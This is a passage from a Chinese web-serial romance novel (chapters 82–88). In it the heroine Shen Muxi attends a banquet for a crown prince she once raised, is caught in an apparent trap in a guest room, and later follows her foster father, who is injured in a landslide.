回想着先前的北辰殷,摸着下巴。
心说怎么今日见到的人,都一个比一个古怪?
小愿也在院门口,看着路上一会儿偷偷吐气,一会儿神色惊惶,风不大,却扯着衣服,连脖子都包得严严实实回来的自家小姐,点头同意:怪,是怪得很啊。
经历了这一日的事,沈木兮身心俱疲。
送走北辰殷回了院子,便扬手让小愿去给薛清传消息。
说她身子不舒服,这几日都不要出门了。
她算是看出来了,只要自己出门,就准得出事!
接下来的这段时日,除了去祝家看望祝长安,她哪里也不去了。
惹不起,她还躲不起吗。
小愿传消息给薛清后,薛清倒是没说什么,知道她因为祝家的事受了惊吓,不出门在家里养养也好。
只是入夜前,薛清来了消息,让沈木兮去书房一趟。
沈木兮很快去了。
书房里。
“女儿见过父亲。”沈木兮给薛清见礼。
薛清虽不是自己的亲生父亲,但这一年来对她的关心,比当初沈家的不知好多少。
在心底里,她已经把薛清当成了长辈。
薛清正在写着什么东西,像是信笺,样子很是严肃认真。
沈木兮过来,他下意识用书册把那信笺盖上,以至于她什么也没偷瞄到。
“小七,你虽然年龄最小,还是庶出,但却是家里最懂事的孩子。”
话是好话,沈木兮怎么听着有点心虚呢。
是她给了薛清什么错觉吗?
她一向都觉得自己是个麻烦兜子,到哪哪不安生。
薛清走到窗边,看着外面的冬日雪景:“过段时日,为父或许要出远门一趟。你母亲性子太要强,祖母年龄也大了,若是我不在,你多照看一下府中。”
沈木兮有些惊讶:“年关将近,父亲要去何处?虽然青州地处南下,但冬日里也会下大雪的,父亲这时出门怕是不安全吧。”
“父亲,
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可以去通融一下吗,能不能开年后再出远门?”
看着女儿眼中实打实的关心和担忧,薛清满心欣慰。
犹记得半年前,他去往水患难民营地,被困在那好几日,后来不是自己的部署前来找到的他,居然是这个小女儿单枪匹马,前来寻到的自己。
薛清笑了笑,神色肃然了几分:“小七,很多的事都不是你我能左右的,我们也只能任命行事。放心吧,不出去多久,会没事的。”
他只是宽慰沈木兮,并没有说要去何处,又要去多久。
可沈木兮心中却是越发的不放心起来。
薛清说的是,任命。
许是这几日她真棒人发生的事太多,回想薛清这段时日,时不时就去宝月楼和北辰景相见的事,心中更是没底了。
但薛清用意已决。
说到这,他又提及了她和祝家的婚事。
“这门婚事……”
沈木兮打断薛清的话,很认真地说:“父亲,女儿觉得,无论日后是否和祝家结亲,现在我们薛家都不要开口的好。”
即便是要解除婚约,也得人家来。
薛家说什么都是不适合的。
薛清看着愈发懂事的女儿,带着岁月痕迹的眼眸微微发红。
他还有很多要事要办,说完便让人把沈木兮送了回去。
在沈木兮要出书房门时,薛清又想起什么,突然道:“对了,过段时日府中要设宴。你若是身子不爽,就不必参加了。”
“设宴,父亲要宴请谁?”
“便是你上次在宝月楼见过的那位殿下。”薛清平静地说。
“……”
沈木兮的脚下猛地一个趔趄。
前一秒她才打算好不出门,想在府中躲个几日的。
后一秒这就来了。
这么巧吗。
这莫名给沈木兮一种,自己走的每一步,都被人算计好的错觉。
薛清见女儿的脸色有些苍白,又道:“放心吧,这些大人物在青州待不了几日的。”
他感觉的出来,自家小七不像宝莹,她不太喜欢接近那些京中人,方才说他们要来府中赴宴,沈木兮那一瞬的面色惊惶和失措,都被薛清看在眼中的。
“等设宴后,他们就要启程了。”他继续道。
沈木兮神情微微恍惚。
北辰景,他要走了吗。
第83章 红纱盖头
突然想起北辰殷今日说的,他们来青州,只是为了甩掉身后跟着的人。
如今在这待了差不多小半月,也是时候该启程了。
若…他真的没认出自己,那这一次再见。
或许就是真的永别了。
月色很柔,沈木兮的呼吸却有点发沉。
一瞬的愣怔后,她掩下紧皱的眉心,回过神对薛清恭敬退下。
“是,父亲。”
从书房离开回了自己院子。
在屋中,沈木兮安**了许久。
“小姐……”小愿走过来,低声说:“若是您真的不想去参加这次的府中宴会,奴婢这就去告诉夫人,左不过老爷已经发话了。”
沈木兮摇了摇头。
人家都到自己府中来了,她还能躲到哪里去?
“不用了,这次的宴会,我去。”
一句话,好像耗费了她全身的精力。
但更多的,是无可奈何。
若这次事关祝长安和薛宝莹的事,都是她想多了,和他无关,那样最好。
但若最近发生的所有,都是他所为。那这次宴会,对于薛家而言,便是极其危险的。
她必须在场。
……
在宴会来临前,接下来的这几日里,府中一切如常。
沈木兮依旧深居简出,即便出门,也只有私下前去探视祝长安。还特意买了不少话本子,给他讲笑话解闷。
这几日,祝家那边也消停了不少。
因为祝夫人那日大闹了一番,和欧阳氏生了嫌隙,祝家老爷回来后,亲自过来登门道歉。
至于取消婚事的事,并没有再提。
听说这次祝老爷回来,一起带来了一个好大夫,治疗了几日后,祝长安现在已经可以下床了,只是必须得坐着轮椅。
但也比之前那样子好了不少。
一切看起来,都朝着好的方向发展。
可沈木兮却觉得,这却像是暴风雨来临前的宁静。
总之心里闷得很。
这种沉闷的心绪,一直衍生到了宴会当日。
虽说先前沈木兮就已经做好了心里建设,但真到了这一日,她还是有些迟疑了。
今日的宴会,并非是单独宴请了那些京中贵人。
连同青州城的当地官员,以及一些有钱商贾,都在受邀行列。
薛清是个很聪明的人,他对那些京中人一样带着戒备,这次故意多邀请些人来,纵使有心人想对薛家做何,人多也不好动作。
有些时候,沈木兮当真很佩服薛清。
“小姐,客人们已经到了前院,夫人那边已经传话来催了。”小愿看着坐在屋中,还未穿衣打扮的沈木兮,有点轻微地焦急。
沈木兮已经听到了前院的热闹喧哗,她皱眉吐出一口气:“给我更衣吧。”
最后一面,好歹也见上一见。
下次相见,当真不知是何时了。
沈木兮今日没有刻意打扮,只随意穿着往日的衣裙。
不过她的姿容,的确艳丽脱俗,娇养这一年,更加珠圆玉润,偏偏肉都长在了该在的地方,即便是一身再简单的素裙穿着,已是绝色。
她不想在宴会上太过抛头露面。
此刻前院人正多,她便自顾自地开始在府院里散步。
等差不过过去,宴会也正好开始。
路过池塘边,碰到同样这时候出来的薛宝莹。
说来也是奇怪啊,和妮子前段时日,天天往外跑,恨不得把家都搬到宝月楼。
这几日,却是消停了几分。
唯独的一两次出门,只是穿着丫鬟的衣服,随意在青州街头闲逛,也不知道是在找谁。
但总归是没再去宝月楼惹事了。
是的,关于这些时日薛宝莹的事,她都知道。
沈木兮虽然表面和薛宝莹闹僵了,但心里还是记挂着这蠢丫头,时不时会让小愿找人看着点。
薛宝莹也看到了沈木兮。
沈木兮这两日瘦了些,眼神也有些疲惫。
看着她这副样子,薛宝莹抿了抿唇,脚下步伐微动,似是想朝她这边走来,可却被人先一步揽住了胳膊。
“薛姐姐,我们去那边赏景吧。”
出现说话的人,是当地另一个商贾家的小姐。
这位许小姐是出了名的瞧不起庶女,睨了沈木兮一眼后,带着一步三回头的薛宝莹就走了。
沈木兮没什么反应,收回眸光,打算继续在这磨时间。
她只想去宴会上打一道,确定今日的薛
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家宴会平安无事,她就会离开。
是以并不想在那待太久。
原是想在院子里走走,又遇到了薛宝莹。
现在沈木兮只能在这原地打转。
实在无聊,沈木兮索性来到附近的楼阁上小坐。
站在这吹了下凉风,沈木兮才算冷静下。
她不禁觉得自己有几分可笑。
见个面而已,紧张什么。
难不成,他再发疯,还能当着宴会现场这么多人的面,对着她胡来吗?
“小姐,这里风凉,奴婢去给您拿个披风来吧?”
沈木兮看了眼四周的景致,雪景是美,但她心里闷得紧,没心情去欣赏。
“不用了,这景致看久了,也乏闷的很,走吧。”
转身准备下去的空档,沈木兮的余光,突然瞥到对面假山高亭里的一道身影。
她步伐猛地一顿,头发发麻的瞬间,还以为是自己看错了。
雪景里,那一抹暗色的红,是那么的显眼瞩目。
沈木兮努力让自己情绪稳定,佯装冷静地朝着对面男人的方向看去,福身行了个礼。
都看到了,她不可能当做没瞧见。
万一把他又惹急了,又发疯怎么办?
今日的他穿着一身暗红色的锦衣,外穿一层红纱,坐靠在凉亭里妖冶又高贵。许是红衣的衬托,在雪风里,他的肤色居然比那皑皑白雪还要白一个度。
那随风飘起的红纱长袖,让沈木兮蓦地想起了之前在宝月楼里……那不堪回首的一幕。
在京中那一次,她虽然和他已经有过肌肤之亲!但沈木兮当时失去了神智,除了第二日的腿软和身下的疼,并没有真正的“身临其境”过。可这次不同了……
哪怕是对上他的眼神,她都觉得被胸前那绵密的湿热触感,再次席卷而来。
她只想赶紧走!
这时,那风起,吹起他的红纱。
风像是故意似的,竟让那红纱就那样轻轻地盖在了他的头上。
他并没有当即掀开。
而是眼尾勾着湿润的暗红欲色,凝视她的方向,只紧盯着她一人,一点点将那红纱从脸上掀起。
这一幕,看得沈木兮如遭雷击!
瞬间血液倒流……
第84章 一年未见,他居然学坏了!
眼前的这一幕。
就那么碰巧,和曾经她做过的那个梦如此相似!
梦里,他也是这样,朝着她掀起那个“红盖头”……
这该死的谢景愿。
哪里学的这些勾人招数!!
她以前就是这样教他的吗?
更该死的是,方才他掀开红纱看过来时,自己的心,居然跟着莫名的跳漏了一拍……
沈木兮以最快的速度垂下头,带着小愿匆匆离开。
“小姐,怎么了?”
“别问!问就是要**了!”
“啊?”
原本还有一截的路,沈木兮百米加速,如风一般跑到前院。
欧阳氏已经在这和赴宴的夫人们说话,见沈木兮跑得上气不接下气,头发也乱了,虽有些不悦,但更多的是关心。
“小七,怎么了这是?”
沈木兮呼出一口气:“母亲,我没事,只是起来迟了怕耽搁宴会时间,跑得有些急。”
“这位就是七小姐了?果真好相貌。”一位夫人打量着沈木兮,薛家七小姐不常去人前,很多人都没见过她。
“是啊,七小姐和祝家公子可真是天生一对。”另一个看起来就尖酸的富家夫人说。
这话不由带着了些讽刺。
谁都知道祝长安出了事,这辈子怕是都残了。天生一对,不是把沈木兮也给骂了吗。
沈木兮看了眼此人,先前就听说在这青州城里,原本有个姚家的女儿,也是商贾出身,老早就喜欢祝长安了。
也曾经提过婚事,但却被祝长安直接拒绝了。
莫不这就是姚夫人。
她还没发话,欧阳氏便护犊子的冷声开口。
“是啊,我家小七是和祝家公子定下的婚事,现在也没有断婚的意思。不像是有些人,就算人家祝公子真瘫了,也瞧不起你家闺女。”
“你!”
欧阳氏握住沈木兮的手,偏头懒得搭理那怒火四起的姚夫人。
今日薛家是主场,旁人也都知道欧阳氏嘴厉,都没再多说了。
很快,话题就从沈木兮和祝长安的身上,绕到了今日的贵宾上。
大家都听说薛知府要宴请这次来青州的京中贵客,这些夫人才带着女儿们特意来的。
姚夫人缓和了神色,又说:“也是,我家女儿肯定是得嫁去更富贵的人家,那祝家,还是留给薛家小姐吧!”
旁边有人打趣。
“姚夫人,你还做梦呢?没听说吗,这次皇子选妃的人选,可已经定下了。”
定下了。
本在这百无聊赖的沈木兮,突然坐直了身子。
谁定下了?定给谁了?
不过还没等她继续竖起耳朵听下去,宴会就开场了。
沈木兮还想去旁边的角落,却被前方过来的薛清叫住。
“小七,你随父亲过来坐。”
跟着薛清坐,那不就是主桌吗。
主桌在里间,和外面的宾客席位,是用道屏风珠帘隔开的。
不用猜,也知道里面坐着的贵宾们该是谁。
站在外头,沈木兮就已经能看到屏风珠帘后,那隐隐的一抹红……
她张了张嘴,迟疑了一瞬。
欧阳氏已经道:“快去吧,你父亲是看重你,才带你去多见见世面,这是你父亲的心意。”
沈木兮欲出口的话咽了回去。
还是跟着薛清过去了。
也是这时,欧阳氏才发现薛宝莹不见了。
“三小姐呢?”她蹙眉问。
旁边的婢女说:“奴婢也不知道。”
婢女没说的是,方才偷偷看到三小姐又换上一身丫鬟衣服出去了。这么大的场合,她怕夫人生气,这才没声张。
欧阳氏不悦极了。
真是的,这孩子如果有小七半点的省心就好了。
这边沈木兮来到内室的主桌前。
北辰殷早就在那四处张望,见终于看到了她,眼前一亮。但迫于身边的另一个人,他努力克制着自己的情绪,只拼命对沈木兮眨眼睛打着招呼!
沈木兮倒没去注意北辰殷,因为在她进来的这一瞬,除了那一抹红极为抢眼外。
还有他身边的另一道靓丽的色泽。
那是个坐在北辰景身边的小女子,穿着一身少女的藕粉,容颜绝丽,垂着头,很是端庄的模样。
沈木
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兮眉心微不可查的绞起。
想起方才那些夫人们的闲言碎语。
“小七,你坐这里。”
薛清指了指自己身边的位置。
和北辰景的主位离得很远,但却是对面的位置,一抬头就能看到对方。
沈木兮佯装冷静,跟着薛清坐下。
本是如坐针毡,心里也一直七上八下。
可很快沈木兮就发现,人家根本没朝自己多看一眼。
想起方才楼阁上的那惊鸿一面。
沈木兮喉头动了动,他不搭理她那是最好不过。
她没说话,只顾着埋头吃东西,差点就要把脸埋进了碗里。
薛清瞥了眼埋头苦干的小女儿,有些诧异,以为她是饿极了,宠溺地发笑,夹了一筷子她喜欢的鱼肉放在她碗里。
北辰殷也想夹!奈何人多,他为了不在北辰景跟前暴露沈木兮的身份,不好动作,只撇嘴在旁生着闷气!
沈木兮抬头对薛清尴尬笑笑。
看了眼碗里的鱼。
她要怎么说呢,她喜欢的其实是鲜嫩的鱼肚肉,不是鱼头啊。
相反,她每次一看鱼头就瘆得慌。
也不怪薛清,日理万机的知府父亲,能记得她喜欢鱼肉就喜欢不错了。
薛清的筷子刚落,另一人也伸出了筷子。
这一次,夹起的,居然就是那一块沈木兮最喜欢的鱼肚肉。
沈木兮心头一动,往上看去那截无时无刻不勾着她眼的暗红长袖……心都悬在了嗓子眼。
以前在猎林时,她惯爱对他说的那一句,瞬间响彻在脑海。
‘景愿,这鱼肚可是最美味的!’
‘别的我都不爱,就爱这口。来,你也尝尝……乖,你多吃点,好好长大……’
记忆轰然收拢!
沈木兮神色惊异,眼睛都瞪圆了!
然而,那一筷子并非是落在了她的碗里。
“谢谢殿下。”对面,坐在北辰景身侧的少女看着碗里鲜嫩的鱼肉,双颊微红,正柔声道谢。
沈木兮神色微僵,突然觉得有些尴尬。
再看去碗里那块鱼头,怎么都有点不是滋味了起来。
第85章 她蓄意爬上太子的床!?
是啊,北辰殷只说,他们来青州是用选妃的名头来避开追踪的人。
但没说选妃之事不是真的。
接下来的宴席上,沈木兮估计是前面埋头吃的太多,后面瞬间没了胃口。
一筷子饭,要吃个七八次才咽下。
这是贵宾宴席,沈木兮又是个庶女,不能提前离席。
只能在这干坐着。
途中,她也偷瞧过那个女子,是个绝色佳人,但却是个生脸。
不过她本就不常出门,对青州的女子不相熟也正常。
薛清和这些贵宾们,相谈的大约都是治理青州的事情,时不时北辰景也会给面子回应身边人的话语一声。
但大多是不说话的。
估计现场的人也大概晓得他的身份,都很守规则不敢造次。
也不知过了多久。
“喂?你不会真吃撑着了吧?”
沈木兮循声抬头,恍惚间对上北辰殷担忧的眼神。
她这才发现,原来宴席上的贵宾们已经纷纷退场了,包括北辰景也不在这了。
北辰殷抬手摸了摸她的头:“我看你真是饿了,方才吃的那么猛?看你现在这副神情呆滞的样子,别是真吃出什么问题了吧?”
沈木兮拍开他的手,闷声说。
“我没事。”
“对了,北……我是说,我父亲他们去了何处?”
北辰殷说:“说是去后院赏画了。哦,对了,方才那位同桌的小姐也一起去了。”
他的话还在嘴边,沈木兮眸光一动,说了声自己有事,忙不迭就走了。
去的正是那后院。
“喂?这人真是的,我话都还没说完呢!”
其实北辰殷方才还想问沈木兮,知不知道那位小姐是谁。
今日突然就出现了,他都没见过……
再抬头一看,沈木兮已经跑了个没影。
怎么还是和以前一样,跟个泥鳅似的。
北辰殷原本还想找沈木兮玩的。
这几日他心头烦得很,一想着自己被个小丫头片子气得牙痒痒,就暴跳如雷,比当初被沈木兮暴打还不爽。
那时候北辰殷是真被沈木兮给打服了。
可这一次,他对这个臭屁丫头一点也不服气!
甚至为了想再次去堵住那丫头,北辰殷三天两头就去街上乱转悠,却再也没看到她了。
奈何现在沈木兮把自己丢下了,他只能自行在这转悠解闷。
正觉得无趣呢。
北辰殷突然瞥到不远处一闪而过的一道身影。
眼熟,很眼熟!
他眼睛好像瞬间就亮了,方才的阴霾和烦闷,一扫而光,猫着身子赶紧就跟过去了。
与此同时。
另一边,同样是猫着身子的沈木兮,正在自家后院里探头探脑。
前方,那道暗红色和藕粉色的一对身影,正从假山后闪过。
沈木兮眯起眼,眼神警惕,面色严肃,继续跟着两人小心翼翼地尾随了过去。
她也不知自己干嘛跟来。
可能这就是**病吧。
若这个姑娘真是谢景愿亲自选的妃子,那她不得亲自去过过目。
万一原文女主的那档子事,再次重蹈覆辙,她的罪过不是更大了?
总之,她得来。
如她所想,那两道人影,并没有去往人多的地方,而是避开了人群,去往了僻静之处。
这可是薛家,沈木兮当然知道那边是什么地方。
是一处偏僻无人的厢房。
十分适合两人独处。
沈木兮心念一动。
果真下一瞬,就看到两人一前一后进了一间屋子,还挥退了后面跟着的奴才!
沈木兮心提到嗓子眼,眼神越发的凝重,皱紧眉头。
不是吧,这姑娘刚被选上当妃,就忍不住要上储君床榻了?
如此心机,怎么得了!!
今后不得把谢景愿算计了去。
若是谢景愿更疯,遭殃的是她啊。
沈木兮哪里还能等得,加快速度,赶紧跟过来,快步闪身至厢房外。
她附耳倾听,房间里很安静。
并没有预想中的靡靡之音。
但好在那门没有关紧,正稀开了一条缝隙。
沈木兮扒在门缝上,透过那道缝隙悄悄地往里看。
这厢房不大,不分里外,就一间屋子。从沈木兮的角度,正好可以看到隔道纱帘的男人身影。
他背身驻足在帘子后,朦胧日光里隐隐可见一道颀长剪影。
此刻他正勾起自己的衣带,纤长玉骨的五指,一点点解开衣衫。一层层的轻纱衣缎,就
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那样随着他的动作,顺着垂下的指尖慢慢垂落。
宽肩窄腰下的腰腹,泛着瓷白的冷光,被随风贴来的帘子裹挟,肩背线条似蕴藏着一股隐忍又可怕的力道。
病态又危险!
勾得沈木兮一瞬只觉……喉头干痒,手心发紧……
这就开始脱衣服了吗?
沈木兮:“!!”
她就知道!
只是不得不说,美人在骨不在皮。
纵使隔了老远,她也能感受到那股极致美色魅惑下的冲击。
这种美,已经几乎不分男女了。
而是一个活脱脱的妖物!
此刻,里面的男人,正要去解下自己最后的裤腰玉带……
沈木兮咬紧牙关,想也没想,咣当一声冲了进去!
因为她的注意力一直在那帘子男人的身上,以至于她根本就没有发现!这安静的厢房里,除了他,好像就没有别人了。
沈木兮刚冲进来就后悔了。
可是已经迟了。
她因为力道太猛,冲进来直接跌在了地上。
而随着她的眼神往上抬。
那道人影也出现在了她的跟前。
两人目光就这样相撞。
他已经穿上一层衣服,却又该死的半露出那白皙的心口,垂下细长眼尾看她的样子,妖冶的像是一朵淬了毒的花,明明致命,却又让人挪不开视线。
沈木兮喉头动了动,许久才找回她的声音:“对、对不起,是我走错了。”
她还未动,他率先半蹲下来。
目光在她的下方,仰着头,眼角湿红地看着她。
这一幕,让沈木兮想起曾经,他便惯喜欢这般,像是一只小狐狸,半蹲在她跟前,委屈又幽怨的望向自己。
可此时此刻他的神情,却是冷得不行,只轻启薄唇。
“你弄脏我衣服了。”
沈木兮回过神,才看到身下被自己踩到的一片衣角,那正是他方才脱下的!
而他蹲下身,并非为了像以前那样和她说话,只是为了捡衣服。
因为衣服的确被沈木兮弄脏了,他紧蹙眉心,很是苦恼。
“我……”沈木兮正要开口。
他已转过身,语气是她从未听过的淡漠,又带着刺骨的冷,“来人,把她给孤、抓起来。”
第86章 抓她?臭小子倒反天罡!
什么?
本以为他只是做做样子,毕竟这是在薛家,没想到当场就有人拿下了她!
果真是长大了!
还抓她!
越发的倒反天罡!
事情闹的不小。
最后还是薛清亲自前来向北辰景求的情,磨了许久他才肯放的人。
而自此,谁人都知道,薛家七小姐在贵客换衣服的时候,偷溜进了人家房间,还当场被人家抓了个正着的事。
沈木兮:“……”
圈套!
全是圈套!
薛清前来“赎”走沈木兮后,并没有离开,而是在那房间里,陪着那名尊贵的客人说了许久的话,也不知道在商谈什么。
“小姐,听那边的人说,老爷在里面的脸色十分不好,咱们还在先回院子吧。”小愿低声催促,不停拽着沈木兮的手。
沈木兮却是紧盯着那厢房,并没有走。
终于,薛清从里面出来了。
见他无恙,并没有出事,沈木兮大松一口气,今日一直惴惴不安的心,此刻可算是安定了下来。
她赶紧迎了过去,一脸自责:“父亲,今日是女儿让你难做了。”
薛清抬头看了眼她:“跟我去书房。”
沈木兮抿紧双唇:“是。”
她已经做好了会被薛清苛责的准备,但薛清却出乎意料的未曾发怒。
他只是在窗边站了许久,随后苦笑。
像是在对自己说。
“我曾以为,远离了那些朝野纷争,就可以带着家人,安然渡过这一生,没成想,还是躲不掉。”
沈木兮本想着薛清从北辰景那出来,脸色一直黑沉沉的,是因为自己今日闯了祸。
竟是因为旁的事?
“小七,还记得上次父亲给你说过的话吗。接下来这几日,你都要好好在家里,帮衬着你母亲,知道吗?”
她眼神一变,顿时明白了什么。
“父亲,难道你今日为了救走女儿!才答应了提前……”
薛清摆手:“不关你的事,旁人想左右你的时候,什么招数都可以用,为父也相信,你绝对不是去偷看男子换衣服的人。”
沈木兮尴尬笑笑。
那倒也没那么绝对……
不过薛清的话也间接证明,他的离开,的确是授命于北辰景。
她心里的担忧更甚了。
“好了,明日为父就要启程了,替为父好好照看家里。”
“明日?这么急吗?”
沈木兮还想打探更多,可薛清什么也不愿多说。
只让她回去。
从书房离开,天色已经暗下,府中宾客早已散去。
只有那一抹暗红色身影,站在对面的长廊下,像是镶嵌在黑暗里的红宝石,散发着禁忌幽冷的光。
沈木兮停下步子,就这样和他的视线在黑夜里交汇。
她的脸色冷冰冰的,却又带着极致的困惑和不解。
为什么?
他到底,想做什么?
两人的目光交汇,陌生又带着苍凉,看着看着,沈木兮的眼圈不由带着些许的温热。
这一次,是她率先转开了眸子,朝他福了福身,转身离去。
回了院子,沈木兮就开始收拾东西。
“小姐,怎么了?”小愿问。
“明日我要出门。”
薛清离开,又是任命于北辰景,她实在是不放心极了。
所以,她决定,偷偷跟着一起去,若是确定没有什么危险,她就会立马赶回来,绝不会耽搁的。
“这件事,你先不要告诉母亲,任何人都不要说。”
小愿看着小姐难得认真的面色,乖乖地点了点头。
“是,奴婢知道了。”
在沈木兮收拾东西的同时,外面的夜色加深,今日的喧哗,也终算了到了尾声。
除了……
后院角落,在这转了快一天的北辰殷,累得直喘气。
真是奇了怪了。
白日的时候,他分明看到了那道身影,可追过去却不见了。
不过,虽然没追到人,他却从她今日的穿着上可以肯定,这个小妮子,是薛家的奴婢!
真是老天助他。
是以,这一日下来,北辰殷一直都追着人家府中的丫鬟跑。
以至于连后院的看门狗,都晓得今日府中来了个追着丫鬟跑的小白脸采花贼……
若非传出了沈木兮“偷看”贵人换衣服的糗事。指不定今日被流传论为笑柄的人,就是他了。
可惜了,追了大半日,直到现在,他都快把人家府中丫
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鬟看个遍,还是没找到人。
眼下天色已晚,北辰殷再脸皮厚,也不能仗着自己的身份在人家府邸里久留了。
他失望地环顾四周,准备离去。
这时的前方走廊,突然穿过一道人影。
夜色下没看清对方穿的是什么,但那侧脸轮廓和弧度,却是无比熟悉。
是她!
北辰殷晦暗的眼神一亮,赶紧追过去。
“好啊,终于逮着你了!”
可刚顺着那条路追过去,北辰殷却被人拦住了。
“这位公子,这里不是公子能去的地方,还请公子留步。”
说话的是个薛家丫鬟。
她神情古怪,看北辰殷的眼神,就像是在看一个奇怪的疯子。
是啊,谁家好人,大晚上的往人家府里小姐闺房跑呢。
“这边是我家小姐的院子,公子不能去。”她再次重复。
小姐?
北辰殷抬头,正好看到薛宝莹抬步进院门时,那飘出的一截贵小姐衣摆。
看错了吗?
他找的那个小丫头,是人家的丫鬟。
不会是什么小姐。
北辰殷再次看了眼前面的院子,说了句抱歉,皱着眉心转身走了。
明日,他就要离开青州了。
本以为,还能再见一眼的……没办法啊,他实在太讨厌这个臭屁的小丫头了!
那日之后,他下定决心回去痛骂她三百遍。
可回去后才想起,他竟连她叫什么名字都不曾知晓……
“莲儿,你在和谁说话?”
薛宝莹走出院门,看着在长廊处驻足的丫鬟,皱眉问了句。
莲儿回头抬手一指:“他……”
正欲说话,身后北辰殷的身影已经不见了。
莲儿困惑极了,恭敬地说:“回小姐,不认识,像是个疯子。不过长得倒是挺好看的,眉目英俊,是奴婢在青州城从未没见过的俊秀公子。”
疯子还能好看?
以往薛宝莹听到这句话,高低都得跟着去瞅两眼。
可今日或许是偷摸回来时,被欧阳氏发现罚跪祠堂一天。又或是其他原因……
总归,她仿佛失去了所有精神气,疲惫极了。
“哦。”只淡淡应了一声,她便回了屋。
第87章 真的永别了
北辰景这一夜是什么时候离开的,沈木兮不知道。
她只知道,自己几乎是一夜无眠。
还不等次日天明,她便早早起身,收拾好了行囊。
为了不让欧阳氏担忧牵挂,她提前写了一封信,放在自己的枕头下。
外面夜色逐渐被天边的鱼肚白吞噬时,沈木兮穿着一身男子的劲装,从后门悄然离去。
薛清昨夜宿在知府衙门,这是他的习惯,要出远门时,不会在家留宿。
等沈木兮冒着清早露色赶到这时,薛清已经整装待发了。
同时,在知府衙门对面不远处的宝月楼,另一批队伍,也在准备出发。
隔了快半条街,但沈木兮还是一眼看到那道人影。
他好像天生就属于黑暗。
即便此刻已经换下了一身惹眼的红衣,而是玄袍在身。又许是因为那一截白发的缘故,总之还是能一眼捕捉。
突然想起,她到现在都没去问过,他的头发到底怎么回事……只觉每次一看到那截灰白色泽,她的心都像是被什么扎过一样,难受,绞绞的痛。
在他冷冽阴鸷的眼眸,偏头看来的那一瞬,沈木兮心都要跳了出来,赶紧躲去了旁边的角落。
确定无事后她才探出头。
这时北辰殷也跟着走出来了,他看起来很是憔悴。
八成和自己一样一晚上没睡。
薛清前去,给已经在马车里的北辰景说了些什么,又交涉了一些事情后,京中的队伍没有逗留,很快就上了路。
不多时,薛清也启程了。
不过出城后,两方人马去的都是不一样的方向。
见他们并非是同行,这让沈木兮有些意外。
当真是她想多了吗?
这一切,都是个意外?
毕竟,从一开始到现在,北辰景就从未直接表现出过……他已认出了自己。
沈木兮看去往另一个方向驶去,和自己越来越远的那一批京中队伍。再看了一眼薛清,眉心紧皱。
最后她还是跟着薛清的队伍,匆匆去了。
不知薛清要去何处,但先跟个二三十里再说。
若是确定一切都是她多想,那最好不过,但她就怕那个万一!
半路上,薛清换下了衣服,只穿着寻常百姓的服饰,显然不想暴露身份。
沈木兮猜测,这次薛清前去办的事情定十分机密。
就这样,随着薛清的队伍,沈木兮一路跟随,差不多行了三十里的路途。
一路下来,薛清除了吃住外,其他时间都在赶路,没有生出任何的事情。同时沈木兮也在注意另一个队伍的情况。
在那日离开青州城,京中队伍就没有再出现过,四周也没有他们的人。
好像那日一见后,就真的是永别。
沈木兮释然又欣慰地笑了。
还好,他即便黑化了,也没有自己想像中的那么坏,不是吗。
那是不是证明,自己那几年的陪伴,还是有点用的。
便如此,沈木兮又继续多跟了薛清接近十里的路。
确定他真的没有出事,她也准备在这一日回程了。
算起时间,欧阳氏肯定已经看到了她的信,她没有说得太清楚,只说自己有一件很重要的事要去做,让母亲不要担心,五日后必回。
眼下已过了三日,她是得抓紧时间回青州了。
“小二,银子放这了。”
山腰茶铺里,沈木兮收拾完了一切,丢下银子,准备回程。
刚牵来了马儿,一道轰隆声从前方的山道处传来!
几乎是震天响!
连带着山林都在晃动!
这是,地震了?
很显然,这远地方的百姓没有经历过这种事情,纷纷傻住了。
率先反应过来的沈木兮,赶紧对茶铺里的众人吆喝:“快!快藏去桌下,都找个安全的地方先躲起来!”
好在地震的频率不大,第一阵的地震波很快过去。
沈木兮还在茶铺里安抚被吓坏的小孩,外面就传来一阵叫喊声。
“出事了!出事了!”
“前面刚过去的那个队伍,被震落下来的山石给压到了!”
队伍……
刚刚只有一个队伍过去,就是薛清他们!
沈木兮脸色瞬间变得苍白,连忙跑了过去。
如方才那个人说的,这里的山道上果真一片狼藉,大小落石无数!
几个沈木兮认识的熟脸,已经被落石压住。
跑过来的人,除了她,还有茶铺的百姓,大家都纷纷跑来救人。
沈木兮一路奔着马车去。
等看到那几乎被压碎的马车,她唇瓣颤抖,几乎都要晕厥过去了。
“父亲……”
一年的关怀和照顾,沈木兮早已经把薛清当成了自己最亲最尊敬的父辈。
她不敢多想,抑制着自己情绪,快步走来!
每走一步,都是踩在了那破碎的马车碎片上,每一步她都在摇摇欲坠!
可马车是被最大的落石碾压,破损
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最为严重,完全没了原形。
更别说是当时正坐在里面的人了。
“父亲?父亲!”沈木兮浑身颤抖。
不,不会的。
她开始拼命推动上面的落石!
就在这时,一道微弱的声音,从后方响起。
“小……小七……”
沈木兮当即回头,来到离马车四五外的大树下。
果真在这看到了薛清。
许是在危急发生的那一瞬,他察觉到了危险,及时跳出了马车。
可即便如此,他身上也被巨石砸到。
身上不见伤,但脸已经完全变得乌青,双唇几乎是失去了血色。
显然是撞到了五脏六腑!
“父亲!父亲!”
“这里危险,快走……快走……”即便到了这时,薛清还在关心她的安危,将她往外推。
可没推多久,他吐出一口黑血后,脑袋一偏,疼得晕**过去。
沈木兮不敢迟疑,赶紧叫上沿途的百姓搭把手,把薛清安排在了附近的小镇上。
只是这小镇上的医疗有限。
沈木兮找来的大夫,都极少治疗过这样的内伤。
还是薛清这般严重的症状。
只敢给开一些简单的药。
沈木兮知道这样不行,只能找人帮自己照顾薛清。
她一边去其他地方找大夫,一边也把这边的情况,和薛清所在的客栈地址,用一封信,送去了青州。
出了这么大的事,沈木兮也不敢把事情藏着,必定是要告知薛家人。
好在这里离青州才三十多里的路,若是快马加鞭,信送到后,一夜就能赶过来。
她也能放心出门寻大夫了。
听当地人说,在邻县有个经验老道的老大夫,沈木兮安顿好了一切后,便匆匆去了。
也是运气好,沈木兮去到的时候,那名老大夫没有出诊,听说她家人受了很严重的伤,跟着就来了。
等从邻县回到客栈时,已经又过了一日后。
老远沈木兮就看到停在客栈外的马车,那是薛家的马车。
看来消息比她传回去的更为迅速。
沈木兮赶紧下车,刚进客栈,迎面撞上了欧阳氏。
后面还跟着薛宝莹。
她们的脸色都不是太好。
特别是欧阳氏,她从未见过欧阳氏用过这样森凉的眼神看过人。
起初沈木兮还以为,是否薛清出了什么岔子。
可很快,她就发现了,欧阳氏的冷漠和怒火,是对她的。
第88章 别怕,我…来带你回家
“跪下!”
